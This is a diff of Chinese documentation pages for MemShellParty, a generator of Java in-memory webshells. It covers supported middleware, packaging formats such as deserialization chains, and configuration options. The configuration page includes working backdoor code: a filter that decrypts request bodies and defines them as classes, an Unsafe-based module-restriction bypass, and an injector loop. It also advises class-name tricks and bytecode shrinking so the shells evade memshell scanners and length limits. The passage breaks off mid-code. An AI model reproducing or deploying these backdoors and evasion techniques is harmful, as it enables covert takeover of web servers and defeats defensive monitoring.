"parse-entities/@types/unist": ["@types/unist@2.0.11", "", {}, "sha512-CmBKiL6NNo/OqgmMn95Fk9Whlp2mtvIv+KNpQKN2F4SjvrEesubTRWGYSg+BnWZOnlCaSTU1sMpsBOzgbYhnsA=="], @@ -1374,6 +1372,8 @@ "react-d3-tree/uuid": ["uuid@8.3.2", "", { "bin": { "uuid": "dist/bin/uuid" } }, "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg=="], + "react-router-devtools/framer-motion": ["framer-motion@12.23.25", "", { "dependencies": { "motion-dom": "^12.23.23", "motion-utils": "^12.23.6", "tslib": "^2.4.0" }, "peerDependencies": { "@emotion/is-prop-valid": "*", "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["@emotion/is-prop-valid", "react", "react-dom"] }, "sha512-gUHGl2e4VG66jOcH0JHhuJQr6ZNwrET9g31ZG0xdXzT0CznP7fHX4P8Bcvuc4MiUB90ysNnWX2ukHRIggkl6hQ=="], + "serve/chalk": ["chalk@5.0.1", "", {}, "sha512-Fo07WOYGqMfCWHOzSXOt2CxDbC6skS/jO9ynEcmpANMoPrD+W1r1K6Vx7iNm+AQmETU1Xr2t+n8nzkV9t6xh3w=="], "serve-handler/bytes": ["bytes@3.0.0", "", {}, "sha512-pMhOfFDPiv9t5jjIXkHosWmkSyQbvsgEVNkz0ERHbuLh2T/7j4Mqqpz523Fe8MVY89KC6Sh/QfS2sM+SjgFDcw=="], diff --git a/web/content/docs/compatibility.mdx b/web/content/docs/compatibility.mdx new file mode 100644 index 00000000..636c5e53 --- /dev/null +++ b/web/content/docs/compatibility.mdx @@ -0,0 +1,88 @@ +--- +title: 适配情况 +icon: Album +--- + + +已兼容 Java6 ~ Java8、Java9、Java11、Java17、Java21 + +### 中间件以及框架 + +| Tomcat(5 ~ 11) | Jetty(6 ~ 12) | GlassFish(3 ~ 7) | Payara(5 ~ 6) | +|----------------------|------------------------|----------------------|----------------------| +| Servlet | Servlet | Filter | Filter | +| Filter | Filter | Listener | Listener | +| Listener | Listener | Valve | Valve | +| Valve | Handler | FilterChain - Agent | FilterChain - Agent | +| ProxyValve | Customizer | ContextValve - Agent | ContextValve - Agent | +| FilterChain - Agent | ServletHandler - Agent | | | +| ContextValve - Agent | | | | +| Upgrade | | | | + +| Resin(3 ~ 4) | SpringMVC | SpringWebFlux | XXL-JOB | +|---------------------|--------------------------|-----------------|--------------| +| Servlet | Interceptor | WebFilter | NettyHandler | +| Filter | ControllerHandler | HandlerMethod | | +| Listener | FrameworkServlet - Agent | HandlerFunction | | +| FilterChain - Agent | | NettyHandler | | + +| JBossAS(4 ~ 7) | JBossEAP(6 ~ 8) | WildFly(9 ~ 30) | Undertow | +|----------------------|----------------------------|------------------------|------------------------| +| Filter | Filter | Servlet | Servlet | +| Listener | Listener | Filter | Filter | +| Valve | Valve(6) | Listener | Listener | +| ProxyValve | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent| +| FilterChain - Agent | ContextValve - Agent (6) | | | +| ContextValve - Agent | ServletHandler - Agent (7) | | | + +| WebSphere(7 ~ 9) | WebLogic (10.3.6 ~ 14) | +|-----------------------|-------------------------| +| Servlet | Servlet | +| Filter | Filter | +| Listener | Listener | +| FilterManager - Agent | ServletContext - Agent | + +| BES(9.5.x) | TongWeb(6 ~ 8) | InforSuite AS (9 ~ 10) | +|----------------------|----------------------|------------------------| +| Filter | Filter | Filter | +| Listener | Listener | Listener | +| Valve | Valve | Valve | +| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent | +| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent | + +| Apusic AS (9 ~ 10) | Primeton(6.5) | +|---------------------|----------------------| +| Servlet | Filter | +| Filter | Listener | +| Listener | Valve | +| FilterChain - Agent | FilterChain - Agent | +| | ContextValve - Agent | + +### 内存马功能 + +- [x] [Godzilla 哥斯拉](https://github.com/BeichenDream/Godzilla) +- [x] [Behinder 冰蝎](https://github.com/rebeyond/Behinder) +- [x] 命令执行 +- [x] [Suo5](./suo5) +- [x] [AntSword 蚁剑](https://github.com/AntSwordProject/antSword) +- [x] [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg) +- [x] Custom + +### 打包方式 + +- [x] BASE64 +- [x] GZIP BASE64 +- [x] JSP +- [x] JSPX +- [x] JAR、ScriptEngineJar、GroovyTransformJar +- [x] BCEL +- [x] 内置脚本引擎、Rhino 脚本引擎 +- [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell +- [x] Velocity、Freemarker、JinJava +- [x] 原生反序列化(CB 和 CC 链) +- [x] Agent +- [x] XXL-JOB Executor +- [x] Hessian、Hessian2 反序列化(XSLT 链) +- [x] H2 +- [ ] JNDI +- [ ] 其他常见反序列化 \ No newline at end of file diff --git a/web/content/docs/custom-memshell.mdx b/web/content/docs/custom-memshell.mdx index d93762e8..758593a4 100644 --- a/web/content/docs/custom-memshell.mdx +++ b/web/content/docs/custom-memshell.mdx @@ -28,29 +28,32 @@ inject(context, shell); | 挂载类型 | 参考实现 | |----------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| Servlet/JakartaServlet | [GodzillaServlet](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java) | -| Filter/JakartaFilter | [GodzillaFilter](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java) | -| Listener/JakartaListener | [GodzillaListener](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaListener.java) | -| Valve/JakartaValve | [GodzillaValve](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java) | -| ProxyValve/JakartaProxyValve | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) | -| WebSocket/JakartaWebSocket | [GodzillaWebSocket](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java) | -| (SpringWebMVC)Interceptor/JakartaInterceptor | [GodzillaInterceptor](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaInterceptor.java) | -| (SpringWebMVC)ControllerHandler/JakartaControllerHandler | [GodzillaControllerHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaControllerHandler.java) | -| (SpringWebFlux)WebFilter | [GodzillaWebFilter](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebFilter.java) | -| (SpringWebFlux)HandlerMethod | [GodzillaHandlerMethod](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerMethod.java) | -| (SpringWebFlux)HandlerFunction | [GodzillaHandlerFunction](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerFunction.java) | -| NettyHandler | [GodzillaNettyHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaNettyHandler.java) | -| AgentFilterChain/AgentContextValve | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) | -| (SpringWebMVC)AgentFrameworkServlet | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) | -| (Jetty)AgentHandler | [GodzillaJettyHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java) | -| (WAS)AgentFilterManager | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) | -| (WebLogic)AgentServletContext | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) | -| (Undertow)AgentServletHandler | [GodzillaUndertowServletHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaUndertowServletHandler.java) | - +| Servlet/JakartaServlet | [GodzillaServlet](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java) | +| Filter/JakartaFilter | [GodzillaFilter](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java) | +| Listener/JakartaListener | [GodzillaListener](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaListener.java) | +| Valve/JakartaValve | [GodzillaValve](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java) | +| ProxyValve/JakartaProxyValve | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) | +| WebSocket/JakartaWebSocket | [GodzillaWebSocket](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java) | +| (SpringWebMVC)Interceptor/JakartaInterceptor | [GodzillaInterceptor](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaInterceptor.java) | +| (SpringWebMVC)ControllerHandler/JakartaControllerHandler | [GodzillaControllerHandler](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaControllerHandler.java) | +| (SpringWebFlux)WebFilter | [GodzillaWebFilter](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebFilter.java) | +| (SpringWebFlux)HandlerMethod | [GodzillaHandlerMethod](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerMethod.java) | +| (SpringWebFlux)HandlerFunction | [GodzillaHandlerFunction](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerFunction.java) | +| NettyHandler | [GodzillaNettyHandler](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaNettyHandler.java) | +| AgentFilterChain/AgentContextValve | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) | +| (SpringWebMVC)AgentFrameworkServlet | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) | +| (Jetty)AgentHandler | [GodzillaJettyHandler](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyAgentHandler.java) | +| (WAS)AgentFilterManager | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) | +| (WebLogic)AgentServletContext | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) | +| (Undertow)AgentServletHandler | [GodzillaUndertowServletHandler](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaUndertowServletHandler.java) | +| (Jetty)Handler | [GodzillaJettyHandler](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java) | +| (Jetty)Customizer | [GodzillaJettyCustomizer](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyCustomizer.java) | +| (Struct2)Action | [GodzillaStruct2Action](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaStruct2Action.java) | +| (Tomcat)Upgrade | [CommandUpgrade](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandUpgrade.java) | ### 参考步骤 1. 执行 `git clone https://github.com/ReaJason/MemShellParty.git` 下载当前项目到本地 2. 在 memshell/src/main/java/com/reajason/javaweb/memshell/shelltool 创建 custom 目录进行自定义内存马的编写 -3. 执行 `./gradlew :memshell:compileJava` 或 `.\gradlew.bat :memshell:compileJava` -4. 在 memshell/build/classes/java/main/com/reajason/javaweb/memshell/shelltool/custom 下可以找到编译好的类文件 +3. 执行 `./gradlew :generator:compileJava` 或 `.\gradlew.bat :generator:compileJava` +4. 在 generator/build/classes/java/main/com/reajason/javaweb/memshell/shelltool/custom 下可以找到编译好的类文件 5. 在生成界面,选择目标服务 - Custom - 挂载类型,上传 class 文件,选择打包方式并生成 \ No newline at end of file diff --git a/web/content/docs/index.mdx b/web/content/docs/index.mdx index 636c5e53..ee05247c 100644 --- a/web/content/docs/index.mdx +++ b/web/content/docs/index.mdx @@ -1,88 +1,43 @@ --- -title: 适配情况 -icon: Album +title: 什么是 Java 内存马 --- +Java 内存马是一种无文件 webshell,相较于传统的 webshell,它无须落地 JSP 文件即可实现所有 webshell 功能。其唯一缺点可能就是服务重启即失效,因此也出现了附带的内存马复活相关技术。 -已兼容 Java6 ~ Java8、Java9、Java11、Java17、Java21 +## 什么是 webshell -### 中间件以及框架 +> From [wikipedia](https://en.wikipedia.org/wiki/Web_shell) -| Tomcat(5 ~ 11) | Jetty(6 ~ 12) | GlassFish(3 ~ 7) | Payara(5 ~ 6) | -|----------------------|------------------------|----------------------|----------------------| -| Servlet | Servlet | Filter | Filter | -| Filter | Filter | Listener | Listener | -| Listener | Listener | Valve | Valve | -| Valve | Handler | FilterChain - Agent | FilterChain - Agent | -| ProxyValve | Customizer | ContextValve - Agent | ContextValve - Agent | -| FilterChain - Agent | ServletHandler - Agent | | | -| ContextValve - Agent | | | | -| Upgrade | | | | +webshell 是一种类似于 shell 的入口,攻击者可通过它来控制目标 web 服务器并实施网络攻击。由于 PHP 被广泛应用于 Web 应用,因此 PHP webshell 是最常见的,当然 ASP、Java、NodeJs 等框架与编程语言也存在 webshell。 -| Resin(3 ~ 4) | SpringMVC | SpringWebFlux | XXL-JOB | -|---------------------|--------------------------|-----------------|--------------| -| Servlet | Interceptor | WebFilter | NettyHandler | -| Filter | ControllerHandler | HandlerMethod | | -| Listener | FrameworkServlet - Agent | HandlerFunction | | -| FilterChain - Agent | | NettyHandler | | +常见的 webshell 功能包括: -| JBossAS(4 ~ 7) | JBossEAP(6 ~ 8) | WildFly(9 ~ 30) | Undertow | -|----------------------|----------------------------|------------------------|------------------------| -| Filter | Filter | Servlet | Servlet | -| Listener | Listener | Filter | Filter | -| Valve | Valve(6) | Listener | Listener | -| ProxyValve | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent| -| FilterChain - Agent | ContextValve - Agent (6) | | | -| ContextValve - Agent | ServletHandler - Agent (7) | | | +1. 命令回显,反弹 unix shell。 +2. 网站管理工具,例如蚁剑、哥斯拉和冰蝎等。 +3. 代理隧道,例如 reGeorg、Neo-reGeorg、suo5 等。 -| WebSphere(7 ~ 9) | WebLogic (10.3.6 ~ 14) | -|-----------------------|-------------------------| -| Servlet | Servlet | -| Filter | Filter | -| Listener | Listener | -| FilterManager - Agent | ServletContext - Agent | +## 演变历程 -| BES(9.5.x) | TongWeb(6 ~ 8) | InforSuite AS (9 ~ 10) | -|----------------------|----------------------|------------------------| -| Filter | Filter | Filter | -| Listener | Listener | Listener | -| Valve | Valve | Valve | -| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent | -| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent | +随着攻防演练热度越来越高,主机安全(文件监控、防篡改、EDR),WAF 流量设备,webshell 查杀等专业的安全设备被广泛使用。**webshell 已经从大马、小马、一句话马、加密一句话马逐步进化到现在的加密内存马,不断突破安全设备的检测**。无文件这一特性使主机安全设备变得失效,而加密则是针对 WAF 等流量设备,因此内存马使用得越来越多,当前唯一真正有效的防护措施只剩下了 **RASP(运行时应用安全防护)** — 这也是我目前所从事的方向 Java RASP 研发 — [靖云甲](https://www.boundaryx.com/category/product/adr)。 -| Apusic AS (9 ~ 10) | Primeton(6.5) | -|---------------------|----------------------| -| Servlet | Filter | -| Filter | Listener | -| Listener | Valve | -| FilterChain - Agent | FilterChain - Agent | -| | ContextValve - Agent | +因此内存马也被称为内存 webshell,相较于传统 webshell 的文件落地方式,只是在攻防对抗中进化,换了个实现方式挂 webshell。 -### 内存马功能 +此项目 https://github.com/tennc/webshell 收集了超多不同编程语言的 webshell,或许你遇到有意思的 webshell 时,可以考虑将其改造成内存马。 -- [x] [Godzilla 哥斯拉](https://github.com/BeichenDream/Godzilla) -- [x] [Behinder 冰蝎](https://github.com/rebeyond/Behinder) -- [x] 命令执行 -- [x] [Suo5](./suo5) -- [x] [AntSword 蚁剑](https://github.com/AntSwordProject/antSword) -- [x] [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg) -- [x] Custom +## 常见 Java 内存马 -### 打包方式 +在 Java 中 webshell 常见的后缀有 jsp 和 jspx。根据 Servlet 的定义(这部分的知识强烈推荐:[Head First Servlets and JSP](https://www.amazon.com/Head-First-Servlets-JSP-Certified/dp/0596516681)),JSP 本质就是一个 Servlet,它提供了独特的 entrypoint 用于访问。因此一开始大家最常打的内存马就是 Servlet 内存马,通过 JSP 获取 request 拿到 ServletContext 进行 Servlet 的动态注册。 -- [x] BASE64 -- [x] GZIP BASE64 -- [x] JSP -- [x] JSPX -- [x] JAR、ScriptEngineJar、GroovyTransformJar -- [x] BCEL -- [x] 内置脚本引擎、Rhino 脚本引擎 -- [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell -- [x] Velocity、Freemarker、JinJava -- [x] 原生反序列化(CB 和 CC 链) -- [x] Agent -- [x] XXL-JOB Executor -- [x] Hessian、Hessian2 反序列化(XSLT 链) -- [x] H2 -- [ ] JNDI -- [ ] 其他常见反序列化 \ No newline at end of file +冰蝎工具后来提供了 Java Agent 内存马实现,使得内存马技术得到了广泛传播。 + +**任何能进行 Web 通信的组件都可以成为内存马依附的位置**。 + +Java EE 中的 Servlets 就提供了 Servlet、Filter 以及 Listener,Tomcat 通过挖掘已经有了 Upgrade、WebSocket、Executor、Valve、ApplicationFilterChain。并且 SpringWebMVC 中的 Controller、Interceptor,SpringWebFlux 中的 WebFilter 这种框架内存马也使用广泛。 + +从技术实现的不同,分为非 Agent 内存马与 Agent 内存马,由于 Agent 内存马需要落地 Jar 包,冰蝎工具的作者后续也提供了无文件 Agent 内存马的实现方式,参考:[Java 内存攻击技术漫谈](https://xz.aliyun.com/news/9525)、[论如何优雅的注入 Java Agent 内存马](https://xz.aliyun.com/news/11086)。 + +## 延伸阅读 + +- [Shell 中的幽灵王者 — JAVAWEB 内存马【认知篇】](https://www.4hou.com/posts/zlkq) +- [JAVA 内存马的“一生”](https://xz.aliyun.com/news/10451) +- [一文看懂内存马](https://www.freebuf.com/articles/web/274466.html) diff --git a/web/content/docs/memshell-core-config.mdx b/web/content/docs/memshell-core-config.mdx new file mode 100644 index 00000000..98560147 --- /dev/null +++ b/web/content/docs/memshell-core-config.mdx @@ -0,0 +1,274 @@ +--- +title: 核心配置项 +description: 了解和使用那些可能用到的一键开关 +--- + +### 服务类型 + +所需要注入内存马的 Java 服务类型,目前支持以下方式。 + +如果在以下列表中未找到,可先查看 [目标服务介绍](/docs/server-intro) 是否有提到 + +如果仍然没有,则可提 [issue](https://github.com/ReaJason/MemShellParty/issues/new?template=%E8%AF%B7%E6%B1%82%E9%80%82%E9%85%8D.md) 请求适配 + +- [x] Tomcat +- [x] Jetty +- [x] Undertow +- [x] JBoss +- [x] Resin +- [x] WebLogic +- [x] WebSphere +- [x] GlassFish +- [x] TongWeb +- [x] BES +- [x] InforSuite +- [x] Apusic +- [x] SpringWebMvc +- [x] SpringWebFlux +- [x] XXLJOB +- [x] Struct2 + +### 服务版本 + +服务版本用于部分中间件不同版本之间包名不同,需要进行单独适配的情况,默认 Unknown 即可。 + +仅以下两种内存马用到: + +1. TongWeb Valve 内存马:可选值为 6、7、8 +2. Jetty Handler/JakartaHandler 内存马:可选值为 6、7+、12 + +### 内存马工具 + +所需要注入内存马工具类型,目前支持以下几种方式: + +- [x] [Godzilla](/docs/godzilla) +- [x] Behinder +- [x] Command +- [x] [Suo5](/docs/suo5) +- [x] [Suo5v2](/docs/suo5) +- [x] AntSword +- [x] NeoreGeorg +- [x] Custom:自定义内存马,用于上续工具都不是想要的情况下,参考 [实现自定义内存马](/docs/custom-memshell) 进行使用 + +### 调试模式 + +集成测试用例仅测试了各中间件大版本下的兼容情况,不可避免地某些版本可能存在问题,一味地去除各种打印信息在这种情况下排查问题是棘手的,因此有了调试模式。 + +1. 处理第一个问题,内存马是否注入成功,当开启调试模式后内存马注入器使用 System.out.println 向业务日志打印注入信息 + +```java +if (ok) { + return; +} +Set contexts = null; +try { + contexts = getContext(); +} catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); +} +if (contexts == null) { + msg += "context not found"; +} else { + for (Object context : contexts) { + try { + msg += ("context: [" + getContextRoot(context) + "] "); + Object shell = getShell(context); + inject(context, shell); + msg += "[" + getUrlPattern() + "] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } + } +} +ok = true; +System.out.println(msg);// [!code highlight] +``` + +2. 处理第二个问题,内存马注入成功但是连不上怎么回事,当开启调试模式后内存马工具类使用 e.printStackTrace 向业务输出错误堆栈 + +```java +@Override +public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { + HttpServletRequest request = (HttpServletRequest) servletRequest; + HttpServletResponse response = (HttpServletResponse) servletResponse; + + try { + if (request.getHeader(this.headerName) != null + && request.getHeader(this.headerName).contains(this.headerValue)) { + HttpSession session = ((HttpServletRequest) servletRequest).getSession(); + Map obj = new HashMap(3); + obj.put("request", servletRequest); + obj.put("response", unwrap(response)); + obj.put("session", session); + session.setAttribute("u", this.pass); + Cipher c = Cipher.getInstance("AES"); + c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES")); + byte[] bytes = c.doFinal(base64Decode(servletRequest.getReader().readLine())); + Object instance = new BehinderFilter(Thread.currentThread().getContextClassLoader()).defineClass(bytes, 0, bytes.length).newInstance(); + instance.equals(obj); + return; + } + } catch (Throwable e) { + e.printStackTrace();// [!code highlight] + } + filterChain.doFilter(servletRequest, servletResponse); +} +``` + +调试所用的打印代码默认是写在模板中的,因此当关闭调试模式的时候,我们会使用字节码修改技术对打印调试信息的函数调用进行删除,详细实现可参考:[LogRemoveMethodVisitor.java](https://github.com/ReaJason/MemShellParty/blob/master/memshell-party-common/src/main/java/com/reajason/javaweb/buddy/LogRemoveMethodVisitor.java),也就是把以下三种函数调用给去除 +```java +System.out.println(msg) //(printf 还不支持) + +e.printStackTrace() + +Logger.info(msg) // (java.util) +``` + +### 回显模式 + + + 并不是所有服务都支持回显马,因此在不支持的服务开启回显模式,也享受不到回显效果 + + +调试模式仅限于我们能访问到业务日志,但是实战过程中,在没 getshell 前我们获取不到服务器权限,并且调试模式在目标业务打印大段注入信息属实敏感,因此有了回显模式。 + +**回显模式主要解决的问题是实战过程中判断内存马注入是否成功。** + +当开启回显后,会将注入器字节码放置到回显马中,返回一个目标服务类型的回显马,代码执行顺序为:回显马运行 -> 注入器注入 -> 挂载内存马。 + + + 由于回显马需要从当前线程获取 request 和 response 对象,因此跨线程 RCE 的环境下,无法回显,根据代码执行顺序,无法回显的环境,开启回显模式之后注入器也不会进行注入动作,因此支持回显马但无法回显的环境,请一定不要开启回显模式。 + + + +### 绕过模块限制 + +JDK9+ 有了模块化系统,严格限制各大函数的调用。注入器在注入内存马时需要使用反射调用 defineClass,不是 java.base 模块无法调用,开启绕过模块限制会在注入器自动插入绕过模块限制的代码。也就是如下这坨代码: +```java +try { + Class unsafeClass = Class.forName("sun.misc.Unsafe"); + java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe"); + unsafeField.setAccessible(true); + Object unsafe = unsafeField.get(null); + Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null); + java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class); + Long offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module")); + java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class); + getAndSetObjectM.invoke(unsafe, this.getClass(), offset, module); +} catch (Exception ignored) { +} +``` + +### Lambda 类名后缀 + +由于目前 RASP 并未广泛普及,内存马无文件的特性仅在 RASP 面前一览无余,在其他设备上就犹如神力无法被精准检测。而目前绝大多数主动扫描内存马设备为了降低 dumpClass 风险和增加效率,并不会将 JVM 中所有的类进行分析,可能设置有白名单,而 Lambda 类名是众多一线渗透专家测试出来的结果。在类名中添加 Lambda 类名特征即可绕过主动扫描设备。 + +开启 Lambda 类名后缀之后,会在注入器和内存马类名后自动加入 `$Proxy0$$Lambda$1`。 + +### 缩小字节码 + +默认情况下,一个内存马就有 1w 多长度,因此越来越多的地方做了长度限制,异常的长度认为是恶意行为,例如 SpEL 高版本仅支持 10,000 以下字符长度的表达式执行。 + +以下三种方式中,测试结果显示当前项目使用的 ASM SKIP_DEBUG 缩小字节码最小: + +1. 普通编译类文件:8943 长度 +2. Javassist 去除属性:8003 长度 +3. javac 去除调试信息:6658 长度 +4. ASM SKIP_DEBUG:**6349** 长度 + + +#### Javassist 去除属性 + +由于 Javassist 被用于各类反序列化字节码工具中,因此使用最为广泛,以下字节码缩小代码被广为流传 + +```java +public static byte[] shrink(byte[] classBytes) throws Exception { + ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); + DataOutputStream dataOutputStream = new DataOutputStream(byteArrayOutputStream); + ClassPool classPool = new ClassPool(); + classPool.appendSystemPath(); + CtClass ctClass = classPool.makeClass(new ByteArrayInputStream(classBytes)); + ClassFile classFile = ctClass.getClassFile2(); + classFile.removeAttribute("SourceFile"); + classFile.removeAttribute("LineNumberTable"); + classFile.removeAttribute("LocalVariableTable"); + classFile.removeAttribute("LocalVariableTypeTable"); + classFile.removeAttribute("Deprecated"); + classFile.removeAttribute("Signature"); + classFile.removeAttribute("StackMapTable"); + for (MethodInfo methodInfo : classFile.getMethods()) { + methodInfo.removeAttribute("RuntimeVisibleAnnotations"); + methodInfo.removeAttribute("RuntimeInvisibleAnnotations"); + methodInfo.removeAttribute("SourceFile"); + methodInfo.removeAttribute("LineNumberTable"); + methodInfo.removeAttribute("LocalVariableTable"); + methodInfo.removeAttribute("LocalVariableTypeTable"); + methodInfo.removeAttribute("Deprecated"); + methodInfo.removeAttribute("Signature"); + methodInfo.removeAttribute("StackMapTable"); + List attributes = ((CodeAttribute) methodInfo.getAttribute("Code")).getAttributes(); + ArrayList arrayList = new ArrayList(); + for (AttributeInfo attributeInfo : attributes) { + if ("StackMapTable".equals(attributeInfo.getName()) || "LineNumberTable".equals(attributeInfo.getName())) { + arrayList.add(attributeInfo); + } + } + for (Object o : arrayList) { + attributes.remove((AttributeInfo) o); + } + } + ctClass.toBytecode(dataOutputStream); + ctClass.detach(); + ctClass.defrost(); + return byteArrayOutputStream.toByteArray(); +} +``` + +#### javac 去除调试信息 + +忘记在哪篇文章,看到说测试当前情况为最佳,手动编译类,添加 `-g:none` 参数跳过类的调试信息。 + +```java +javac -g:none xx.java +``` + +#### ASM SKIP_DEBUG + +在一次偶然的机会,我在看 ClassReader 的 flag 都是做什么时,注意到了 SKIP_DEBUG 注释里面的描述,删除各种 SourceFile, SourceDebugExtension, LocalVariableTable, LocalVariableTypeTable, LineNumberTable and MethodParameters 属性,这不是和 Javassist 去除属性代码有点类似。 + +```java +public class ClassReader { + /** + * A flag to skip the SourceFile, SourceDebugExtension, LocalVariableTable, + * LocalVariableTypeTable, LineNumberTable and MethodParameters attributes. If this flag is set + * these attributes are neither parsed nor visited (i.e. {@link ClassVisitor#visitSource}, {@link + * MethodVisitor#visitLocalVariable}, {@link MethodVisitor#visitLineNumber} and {@link + * MethodVisitor#visitParameter} are not called). + */ + public static final int SKIP_DEBUG = 2; +} +``` + +于是我果断的写下了以下代码,发现其比 Javassist 去除属性效果更好: + +```java +public static byte[] shrink(byte[] bytes) { + ClassReader cr = new ClassReader(bytes); + ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS); + ClassVisitor cv = new 